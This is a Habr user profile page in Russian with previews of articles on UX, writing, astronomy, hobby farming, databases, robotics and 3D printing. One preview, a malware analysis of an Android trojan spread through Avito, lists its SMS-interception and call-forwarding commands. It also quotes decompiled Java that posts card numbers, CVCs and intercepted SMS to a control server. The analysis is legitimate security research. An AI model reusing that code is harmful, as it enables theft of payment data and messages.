Как стать автором
Обновить
22
0
Андрей Матвеев @Marabaka

Пользователь

Отправить сообщение

Выбор метода исследования в зависимости от стадии зрелости продукта (или как мы рассказывали об исследованиях команде)

Уровень сложностиПростой
Время на прочтение3 мин
Количество просмотров2K

Всем привет! Меня зовут Полина, я руководитель отдела исследований в Landau Interactive. В рамках развития исследовательской культуры в компании передо мной стояла задача рассказать нашим проектным менеджерам, какие исследования могут помочь развить их продукт.

Читать далее
Всего голосов 2: ↑2 и ↓0+2
Комментарии0

Реверс-инжиниринг интеллекта персонажей: как спроектировать НЕтупого Волдеморта

Время на прочтение7 мин
Количество просмотров13K


Сказать, что всем надоели клише в играх — уже клише. Я искала, что полезно почитать про нарратив. Нашла «Краткое руководство по умным персонажам» от Элиезера Юдковского, автора «Гарри Поттер и Методы Рационального Мышления».

Оригинал статьи на 18,5к слов. После первого часа мозг закипел и молил пощадить его. Видимо, мозг не в курсе, что мы — умный персонаж. Решила сделать конспект, как шпору в универе, чтобы в памяти осталось. Старалась как могла, ужалась до 1,3к слов, это уже ~5 минут чтения, а не 2-3 часа.

Но сначала версия на 3 секунды:

  • Умный персонаж не поступит глупее, чем вы.

А вот на 30 секунд чтения:

  • Чтобы не писать глупостей, пробуйте писать от первого лица.
  • Очки, худоба, неуверенность с девушками и много умных слов — самый отстойный способ показать интеллект.
  • Чтобы уважать персонажа, особенно злодея, мысленно привяжите его к знакомому, чей интеллект уважаете.
  • Причина ошибок умных персонажей — хорошая и продуманная идея не сработала на все 100% как планировал персонаж (и ожидал читатель).
  • Чтобы поставить героя с интеллектом перед «настоящим» моральным конфликтом, выберите два близких вам конфликтующих идеала. Сомневайтесь, который из двух идеальнее. Еще сомневайтесь. Готово.
  • Запишите все доводы в пользу Злодея так, чтобы последователи Злодея не догадались бы, что это писал не Злодей.
  • Если ваш персонаж превосходит целый мир, опишите причины.
  • Не используйте научные термины, объясняйте суть.


Я веду канал в Telegram GameDEVils и блог на Substack . Подписывайтесь, я делюсь там материалами про геймдизайн, разработку и историю игр.

Ниже мой вариант краткого содержания на ~5 минут чтения (но без примеров из «Наруто» и канонического «Гарри Поттера», как в оригинале).
Читать дальше →
Всего голосов 70: ↑64 и ↓6+58
Комментарии35

Текстовое кунг-фу: советы от мастера UX-дизайна

Время на прочтение5 мин
Количество просмотров5.9K

Привет, меня зовут Булат Давлетов, я продуктовый дизайнер в «БАРС Груп». Эта статья будет не про копирайтинг или дизайн, а про удобство работы с текстом за компьютером каждый день.

Читать далее
Всего голосов 13: ↑12 и ↓1+11
Комментарии15

Ночь с 29 на 30 июля 2022. Стояние Юпитера. Знакомимся с околополярными созвездиями (часть 2)

Время на прочтение6 мин
Количество просмотров5.4K


Вечером предыдущего дня случилось состоялось новолуние. И теперь уже, как говорят люди иногда, зародилась новая луна. Увидим ли мы её этим вечером?

Вряд ли.

Новая Луна очень тонка, близка к солнцу, но — главное — она бежит впереди него по нисходящей части эклиптики, а значит зайдет за горизонт вскоре после захода Солнца. В момент касания горизонта центром солнечного диска Луна будет всего на высоте 6 градусов — в той части неба, где атмосфера чаще всего запыленная после жаркого дня. И уже через несколько минут Луна зайдет за горизонт.
Читать дальше →
Всего голосов 13: ↑12 и ↓1+11
Комментарии0

Клубничная чудо-коробка 2.0. Часть вторая

Время на прочтение15 мин
Количество просмотров29K

Это уже третий пост из серии моих клубничных приключений. В первом я рассказывал про свой круглогодичный гроубокс на балконе, во втором я начал строить аэропонную клубничную мини-ферму в контейнере: подготовил помещение, провел электричество, установил 4 подвижных стеллажа, по 3 уровня на каждом, сделал аэропонные каналы на 336 посадочных мест, вентиляцию, отопление, систему отвода дренажа, поставил растворные баки. В этой части я расскажу про доработку окружения к высадке, про датчики, собственную систему управления контейнером, высадку рассады, эксперимент с питанием растений и подведу итоги первых 4-х недель жизни клубники.

Читать далее
Всего голосов 155: ↑153 и ↓2+151
Комментарии72

Подход «БАРС Груп» к управлению рисками информационной безопасности

Время на прочтение3 мин
Количество просмотров2.6K

В 2016 году наша команда начала проект по внедрению риск-ориентированного подхода в управлении информационной безопасностью в «БАРС Груп», сопровождением которого мы занимаемся и на данный момент. Основные цели на старте проекта — переход к проактивному управлению информационной безопасностью и эффективное использование ограниченных ресурсов для снижения основных рисков. Спойлер! Наши цели были успешно достигнуты, но сегодня поговорим о другом. Я хочу поделиться определенными алгоритмами и методами, которые были выработаны при внедрении этого подхода. Меня зовут Ильдар Гарипов, я являюсь руководителем службы информационной безопасности в «БАРС Груп». Начнем!

Читать далее
Всего голосов 3: ↑3 и ↓0+3
Комментарии2

Сколько дизайн-систем нужно для счастья?

Время на прочтение5 мин
Количество просмотров2.7K

Привет, я – Герман Гришин, ведущий дизайнер продуктового направления «БАРС Груп». Наша команда разрабатывает дизайн-систему, которая помогает максимально быстро и качественно собирать макеты на готовых компонентах.

Читать далее
Всего голосов 11: ↑10 и ↓1+9
Комментарии1

Мой путь к секционированию в PostgreSQL

Время на прочтение4 мин
Количество просмотров13K


Когда мы перестаем контролировать размер таблицы — обслуживание и обеспечение доступности данных становится нетривиальной задачей. Я с такой проблемой столкнулся уже в продакшне, данных с каждым днем становится больше, таблица не влезает в память, сервера отвечают долго, но решение было найдено.

Привет, Хабр! Меня зовут Алмаз и сейчас я хочу поделиться методом, который помог мне реализовать секционирование.
Читать дальше →
Всего голосов 17: ↑17 и ↓0+17
Комментарии20

Закрываем ИП: как правильно свернуть бизнес

Время на прочтение5 мин
Количество просмотров68K

Держать бездействующий статус ИП нет никакого смысла, это только добавляет вам лишних забот в виде обязательной отчетности и перечисления страховых взносов. Предприниматель без деятельности и дохода все равно обязан заплатить в ПФР 20 727,53 рублей за 2014 год. Если случилось так, что ваш бизнес не оправдал надежд или вы просто решили приостановить деятельность – закрывайте ИП. Когда понадобится, вы сможете очень быстро зарегистрироваться снова в любой момент.

Красивые и умные эксперты Эльбы подготовили для вас инструкцию, которая подскажет вам что и в какой срок нужно сделать, чтобы закрыть свое дело.
Читать прямо сейчас
Всего голосов 53: ↑50 и ↓3+47
Комментарии48

Lego WeDo — робототехника для самых маленьких

Время на прочтение2 мин
Количество просмотров98K
То, что робототехника в будущем будет все больше проникать в повседневную жизнь обычного человека, уже понятно многим, если не всем. И с какими возможностями и трудностями столкнется человечество — тоже дискуссия открыта.
Но как подготовить подрастающее поколение к этим изменениям, выработать у них правильное отношение к проблеме, ознакомить с принципами и правилами функционирования роботов?


Читать дальше →
Всего голосов 37: ↑35 и ↓2+33
Комментарии29

BEING SPACES: ты работаешь, они играют, все счастливы

Время на прочтение3 мин
Количество просмотров771
BEING SPACES BEING SPACES: заведения коммерческого типа, похожие на жилые комнаты, которые находятся в общественных местах и где можно не только заказать покушать или какое-нибудь развлечение, но самое главное, что они предоставляют территорию вне офиса и вне дома, где можно просто посидеть, посмотреть телевизор, почитать книжку, встретиться с друзьями и сотрудниками.

В 1990 году социолог Рей Олденбёг (Ray Oldenburg) в одной из своих книг употребил термин «постороннее место» (The Third Place). Постороннее место даёт возможность временно отрешиться от давления со стороны семьи и со стороны начальства. По мнению Олденбёга, эта идея соответствует фрейдистской концепции счастья – «когда есть любимый человек и любимая работа», только с более реалистичным оттенком: «работать, когда тебя никто не доколупывает».

Со времён Олденбёга BEING SPACES стали развитым коммерческим сектором, среди игроков которого, например, компания Starbucks, которая активно устанавливает тысячи BEING SPACES по всей планете, каждый из которых оборудован удобными стульчиками, столиками и WiFi. Сети Starbucks просачиваются в супермаркеты и госпитали, кинотеатры и гостиницы, университеты и библиотеки, аэропорты и прочие общественные места. И, как известно, каждый новый тренд это просто необычный способ удовлетворить обычные потребности.

Читать дальше →
Всего голосов 34: ↑31 и ↓3+28
Комментарии34

Перепись потенциальных коворкеров Екатеринбурга

Время на прочтение2 мин
Количество просмотров673
Этот топик написал и попросил меня опубликовать пользователь fotonstep, который всерьез увлекся темой coworking-a, публикует у себя в блоге цикл статей на эту тему, и вообще очень интересный человек, интернет-энтузиаст и автор одного из самых лучших блогов о личной эффективности. Думаю, не будет лишним дать ему возможность самому писать на хабре путем кармопомощи;)
Да простит меня dadyua, но пост его настолько хорош, что я заразился.

Хочется собрать население коворкинг офиса в Екатеринбурге. Есть человек, который профессионально займется делами поиска и съема площади, ну а от нас требуется собственно только изъявить желание. Нужно человек 10-15, можно больше, платить за офис ориентировочно — не больше $250 с человека. Первый месяц будет делаться ремонт и обустройство офиса, к этому надо быть готовым.

Те, кто был бы не против поучаствовать и для начала встретиться в offline, отпишитесь! Схему можно использовать ту же, что и у DadUA, она довольно подробная.
Читать дальше →
Всего голосов 20: ↑17 и ↓3+14
Комментарии50

Как изучают робототехнику школьники Испании

Время на прочтение7 мин
Количество просмотров31K


Суть проекта BQ DIY KIT De Robotica

Система KIT De Robotica позволяет научиться и создавать роботов, отличающихся по внешнему дизайну (развитие навыков 3D моделирования, механики) и поведению (программирование сенсоров и систем) из стандартных (набор поставки) и полностью индивидуальных (детали, распечатанные на 3D принтере) компонентов.

KIT De Robotica относится к DIY проектам робототехники для начинающих, так как не требует навыков и приборов пайки. За счет этого и комплексного подхода к проектированию система завоевала популярность в школах Испании.

Что такое KIT De Robotica и почему это именно система?


Когда заказываете KIT De Robotica, вы получаете небольшую симпатичную коробку, но это далеко не все. Просто сенсоры, проводки и двигатели можно легко купить по отдельности — и это будет дешевле, но этого будет недостаточно для создания робота. BQ KIT De Robotica включает в себя:
  • базовые сенсоры и компоненты;
  • онлайн систему визуального программирования;
  • концепты приботов и инструкции по сборке;
  • программу управления на базе смартфонов на Android;
  • блок обучения и развития в виде сайта, видео канала и форума.

Все эти элементы образуют очень симпатичную, настроенную на поддержание у детей интереса к техническому обучению систему. При этом она постоянно развивается за счет растущего сообщества пользователей (в основном преподавателей), которые придумывают новые концепты принтботов, предлагают новые сенсоры и модели поведения роботов. Далее мы рассмотрим все элементы испанской системы.
Читать дальше →
Всего голосов 23: ↑23 и ↓0+23
Комментарии22

Как скрестить конструктор «Знаток» и Arduino своими руками

Время на прочтение4 мин
Количество просмотров90K
Я не буду рассказывать, что такое и как писать скетчи.
Я не буду объяснять, каким концом надо держать паяльник.
Я не буду излагать доводы за и против существования электронного конструктора на одежных кнопках.

Я расскажу вам историю об успешном опыте скрещивания конструктора «Знаток» и Arduino в отдельно взятом домохозяйстве.

Предыстория

Как-то вечером, собираем с ребенком схему из конструктора «Знаток». Включаем. Я чувствую запах горелого пластика. Выключаем. Анализирую схему и вижу, что в моем издании схем многоуважаемого А.А.Бахметьева транзистор безуспешно модулирует химический источник напряжения, выдавая своё искреннее возмущение температурой.
Хотите узнать что было дальше?
Всего голосов 51: ↑50 и ↓1+49
Комментарии31

Фотоотчет с Инженерного фестиваля КАИ в Казани

Время на прочтение3 мин
Количество просмотров18K
Навигатор кампус участвует в разных мероприятиях и поддерживает любое движение, соответствующее нашим целям. Сегодня мы приняли участие в открытии Всероссийского Инженерного Фестиваля, который организует серьезный технической ВУЗ г. Казани, под катом фотографии и рассказ о выставке Фестиваля.

Читать дальше →
Всего голосов 44: ↑37 и ↓7+30
Комментарии5

Как мы ходили на экскурсию к «КАИ-Лазер»

Время на прочтение5 мин
Количество просмотров23K
Знаете ли Вы, что в Казани при участии мирового лидера в области лазерных технологий — компании IPG Photonics 24 декабря недалекого 2013 года открыт региональный инжиниринговый центр промышленных лазерных технологий «КАИ-Лазер»? Участники делегации первого в России частного роботехнопарка Navigator Campus и их друзья сходили на экскурсию в этот центр. Итак, поделимся увиденным.


Читать дальше →
Всего голосов 29: ↑27 и ↓2+25
Комментарии6

Учим детей делать игры

Время на прочтение4 мин
Количество просмотров51K
Хочу рассказать о некоммерческом проекте Кодабра. Здесь мы учим детей программировать и создавать игры.



Предыстория

Как-то пришло осознание того, что максимум удовольствия в этой жизни фаундерам приносят три процесса — программирование, обучение других и общение с детьми. Мысли стали активно бурлить по поводу школы для детей, а активные действия начались с января 2014. Нас вдохновили такие проекты как codeclub.org.uk, code.org, cs-first.com. И мы решили использовать их опыт и организовывать бесплатные уроки на базе существующих школ, детских домов и иных детских учреждений.

Явный акцент сделали на мотивацию детей. Мы учим их делать мультфильмы, компьютерные игры, творить в цифровой вселенной.
Читать дальше →
Всего голосов 68: ↑60 и ↓8+52
Комментарии30

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Всего голосов 368: ↑362 и ↓6+356
Комментарии143

3D-мультфильм с нуля

Время на прочтение5 мин
Количество просмотров101K
Здравствуй, дорогой Хабр

Впервые собрался написать тебе, ведь есть что рассказать и, наконец, появилось немного времени. Лейтмотивом сегодня будет такая тема, как обучение 3D-анимации.
Точка невозврата скрылась за спиной года три назад. Тогда небольшая группа мечтателей, пять лет в режиме хобби занимавшихся мультипликацией, приняла решение сделать из этого свою профессию. Это сейчас нам уже почти три года, и добрая дюжина человек производит 3D-анимацию: детские сериалы и рекламу для компьютерных игр. А тогда, мало понимая, как делаются мультфильмы, собралось шесть человек.
То, что мы никогда до этого не делали 3D-анимацию, и то, что от первоначального состава никого сейчас не осталось — это история отдельная. А сегодняшняя — о том, как, практически с нуля была создана в Казани анимационная студия, полностью работающая на свободном программном обеспечении.
Читать дальше →
Всего голосов 69: ↑67 и ↓2+65
Комментарии24

ENNOVA. История создания компании и принтера

Время на прочтение6 мин
Количество просмотров38K

Зачем пишу


3D-принтеры сейчас привлекают многих и многие думают о создании своего продукта в это сфере. Я за то, чтобы как можно больше команд этим занималось в России и надеюсь, что статья сподвигнет кого-то бросить все и просто сделать.

Предыстория


Лень – двигатель прогресса, как бы странно это ни звучало, но многие изобретения были придуманы, чтобы облегчить нам жизнь. И вот, с чего это началось: когда я учился в универе, у меня была небольшая подработка – я делал чертежи на заказ. В основном моими клиентами были нерадивые студенты. При наплыве заказов часто попадались однаковые, но времени не хватало на все. И как-то разговорившись с одним из моих друзей, я поведал о своих нехороших делах — мне посоветовали купить чертежный станок. Цены на такой аппарат сильно кусались. Плавая по просторам интернета я наткнулся на блог самодельщиков, там описывалось, как можно самому намутить такой станочек. Я загорелся идеей и попутно заразил своего одногруппника Кирилла таким проектом. С бюджетом в две стипендии и горой различных железяк и фанеры из гаража мы начали колдовать, и уже к лету 2010 года дьявольская машина заработала.

image
Дальше много фотографий и текста
Всего голосов 36: ↑34 и ↓2+32
Комментарии14

Информация

В рейтинге
Не участвует
Откуда
Татарстан, Россия
Дата рождения
Зарегистрирован
Активность